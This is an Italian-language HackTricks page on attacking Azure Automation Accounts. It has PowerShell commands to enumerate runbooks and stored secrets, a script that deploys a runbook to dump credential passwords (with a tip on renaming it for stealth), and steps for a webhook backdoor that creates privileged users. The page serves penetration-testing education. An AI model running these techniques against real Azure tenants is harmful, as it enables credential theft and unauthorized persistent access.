Az - Automation Account

Supporta HackTricks

Informazioni di base

Dal documento: Azure Automation offre un servizio di automazione basato su cloud, aggiornamenti del sistema operativo e gestione della configurazione che supporta una gestione coerente nei tuoi ambienti Azure e non Azure. Include automazione dei processi, gestione della configurazione, gestione degli aggiornamenti, capacità condivise e funzionalità eterogenee.

Questi sono come "compiti pianificati" in Azure che ti permetteranno di eseguire cose (azioni o anche script) per gestire, controllare e configurare l'ambiente Azure.

Account di esecuzione

Quando si utilizza l'Account di esecuzione, crea un'applicazione Azure AD con certificato autofirmato, crea un principale di servizio e assegna il ruolo di Collaboratore per l'account nella sottoscrizione attuale (molti privilegi). Microsoft consiglia di utilizzare un'Identità Gestita per l'Account di Automazione.

Questo sarà rimosso il 30 settembre 2023 e sostituito con Identità Gestite.

Runbooks e Lavori

I Runbooks ti consentono di eseguire codice PowerShell arbitrario. Questo potrebbe essere abusato da un attaccante per rubare i permessi del principale allegato (se presente). Nel codice dei Runbooks potresti anche trovare informazioni sensibili (come credenziali).

Se puoi leggere i lavori, fallo poiché contengono l'output dell'esecuzione (potenziali informazioni sensibili).

Vai su Automation Accounts --> <Seleziona Account di Automazione> --> Runbooks/Lavori/Gruppi di lavoratori ibridi/Compiti di osservazione/credenziali/variabili/certificati/connessioni

Lavoratore Ibrido

Un Runbook può essere eseguito in un contenitore all'interno di Azure o in un Lavoratore Ibrido (macchina non Azure). L'Agente di Log Analytics è distribuito sulla VM per registrarla come lavoratore ibrido. I lavori del lavoratore ibrido vengono eseguiti come SYSTEM su Windows e come account nxautomation su Linux. Ogni Lavoratore Ibrido è registrato in un Gruppo di Lavoratori Ibridi.

Pertanto, se puoi scegliere di eseguire un Runbook in un Lavoratore Ibrido Windows, eseguirai comandi arbitrari all'interno di una macchina esterna come System (ottima tecnica di pivot).

Compromissione della Configurazione di Stato (SC)

Dal documento: Azure Automation State Configuration è un servizio di gestione della configurazione di Azure che ti consente di scrivere, gestire e compilare PowerShell Desired State Configuration (DSC) configurazioni per nodi in qualsiasi cloud o data center on-premises. Il servizio importa anche Risorse DSC e assegna configurazioni ai nodi target, tutto nel cloud. Puoi accedere alla Configurazione di Stato di Azure Automation nel portale Azure selezionando Configurazione di stato (DSC) sotto Gestione della configurazione.

Informazioni sensibili potrebbero essere trovate in queste configurazioni.

RCE

È possibile abusare di SC per eseguire script arbitrari nelle macchine gestite.

Enumerazione

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Crea un Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Esfiltrare Credenziali e Variabili definite in un'Automation Account utilizzando un Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Puoi fare la stessa cosa modificando un Run Book esistente, e dalla console web.

Passaggi per Impostare la Creazione Automatica di un Utente con Privilegi Elevati

1. Inizializzare un'Account di Automazione

  • Azione Richiesta: Crea un nuovo Account di Automazione.

  • Impostazione Specifica: Assicurati che "Crea account Azure Run As" sia abilitato.

2. Importare e Configurare il Runbook

  • Fonte: Scarica il runbook di esempio dal MicroBurst GitHub Repository.

  • Azioni Richieste:

  • Importa il runbook nell'Account di Automazione.

  • Pubblica il runbook per renderlo eseguibile.

  • Collega un webhook al runbook, abilitando i trigger esterni.

3. Configurare il Modulo AzureAD

  • Azione Richiesta: Aggiungi il modulo AzureAD all'Account di Automazione.

  • Passaggio Aggiuntivo: Assicurati che tutti i Moduli di Automazione di Azure siano aggiornati alle loro ultime versioni.

4. Assegnazione dei Permessi

  • Ruoli da Assegnare:

  • Amministratore Utenti

  • Proprietario della Sottoscrizione

  • Obiettivo: Assegna questi ruoli all'Account di Automazione per i privilegi necessari.

5. Consapevolezza della Possibile Perdita di Accesso

  • Nota: Sii consapevole che configurare tale automazione potrebbe portare a perdere il controllo sulla sottoscrizione.

6. Attivare la Creazione dell'Utente

  • Attiva il webhook per creare un nuovo utente inviando una richiesta POST.

  • Usa lo script PowerShell fornito, assicurandoti di sostituire il $uri con il tuo URL webhook effettivo e aggiornando il $AccountInfo con il nome utente e la password desiderati.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Riferimenti

Supporta HackTricks

Last updated